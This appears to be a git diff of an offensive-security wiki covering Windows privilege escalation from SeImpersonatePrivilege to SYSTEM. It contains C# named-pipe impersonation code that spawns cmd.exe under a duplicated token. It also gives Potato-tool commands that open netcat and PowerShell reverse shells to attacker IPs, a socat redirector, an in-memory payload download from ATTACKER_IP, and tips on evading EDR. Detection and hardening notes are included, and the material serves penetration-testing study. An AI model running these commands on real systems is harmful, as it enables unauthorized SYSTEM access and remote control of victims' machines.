In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.
|
||||
```csharp
|
||||
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
|
||||
class P {
|
||||
[DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
|
||||
[DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
|
||||
[DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
|
||||
static void Main(){
|
||||
using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
|
||||
s.WaitForConnection();
|
||||
// Ensure client sent something so the token is available
|
||||
s.RunAsClient(() => {
|
||||
IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
|
||||
IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
|
||||
var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
|
||||
Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Common triggers/coercions to get SYSTEM to your pipe
|
||||
These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
|
||||
- Print Spooler RPC trigger (PrintSpoofer)
|
||||
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
|
||||
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
|
||||
|
||||
See detailed usage and compatibility here:
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
from-high-integrity-to-system-with-name-pipes.md
|
||||
{{#endref}}
|
||||
|
||||
## Troubleshooting and gotchas
|
||||
- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).
|
||||
- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).
|
||||
- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM.
|
||||
- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL.
|
||||
|
||||
## Detection and hardening
|
||||
- Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events.
|
||||
- Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM.
|
||||
- Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges.
|
||||
- Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary.
|
||||
|
||||
## References
|
||||
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -2,7 +2,45 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
> [!WARNING]
|
||||
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
|
||||
> [!TIP]
|
||||
> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
{{#ref}}
|
||||
seimpersonate-from-high-to-system.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
from-high-integrity-to-system-with-name-pipes.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Requirements and common gotchas
|
||||
|
||||
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
|
||||
|
||||
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
|
||||
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
|
||||
|
||||
Check privileges quickly:
|
||||
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
|
||||
Operational notes:
|
||||
|
||||
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
|
||||
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
|
||||
|
||||
## Quick Demo
|
||||
|
||||
@ -23,6 +61,10 @@ NULL
|
||||
|
||||
```
|
||||
|
||||
Notes:
|
||||
- You can use -i to spawn an interactive process in the current console, or -c to run a one-liner.
|
||||
- Requires Spooler service. If disabled, this will fail.
|
||||
|
||||
### RoguePotato
|
||||
|
||||
```bash
|
||||
@ -31,6 +73,16 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
|
||||
If outbound 135 is blocked, pivot the OXID resolver via socat on your redirector:
|
||||
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
|
||||
# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
|
||||
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
|
||||
```
|
||||
|
||||
### SharpEfsPotato
|
||||
|
||||
```bash
|
||||
@ -71,6 +123,13 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
nt authority\system
|
||||
```
|
||||
|
||||
Tip: If one pipe fails or EDR blocks it, try the other supported pipes:
|
||||
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
```
|
||||
|
||||
### GodPotato
|
||||
|
||||
```bash
|
||||
@ -79,10 +138,44 @@ nt authority\system
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Works across Windows 8/8.1–11 and Server 2012–2022 when SeImpersonatePrivilege is present.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato provides two variants targeting service DCOM objects that default to RPC_C_IMP_LEVEL_IMPERSONATE. Build or use the provided binaries and run your command:
|
||||
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
|
||||
# McpManagementService variant (Server 2022 also)
|
||||
McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
|
||||
### SigmaPotato (updated GodPotato fork)
|
||||
|
||||
SigmaPotato adds modern niceties like in-memory execution via .NET reflection and a PowerShell reverse shell helper.
|
||||
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
[SigmaPotato]::Main("cmd /c whoami")
|
||||
|
||||
# Or ask it to spawn a PS reverse shell
|
||||
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
|
||||
```
|
||||
|
||||
## Detection and hardening notes
|
||||
|
||||
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
|
||||
- Spooler hardening: Disabling the Print Spooler service on servers where it isn’t needed prevents PrintSpoofer-style local coercions via spoolss.
|
||||
- Service account hardening: Minimize assignment of SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege to custom services. Consider running services under virtual accounts with least privileges required and isolating them with service SID and write-restricted tokens when possible.
|
||||
- Network controls: Blocking outbound TCP/135 or restricting RPC endpoint mapper traffic can break RoguePotato unless an internal redirector is available.
|
||||
- EDR/AV: All of these tools are widely signatured. Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but won’t defeat solid behavioral detections.
|
||||
|
||||
## References
|
||||
|
||||
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
|
||||
@ -92,8 +185,7 @@ nt authority\system
|
||||
- [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
|
||||
- [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
|
||||
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user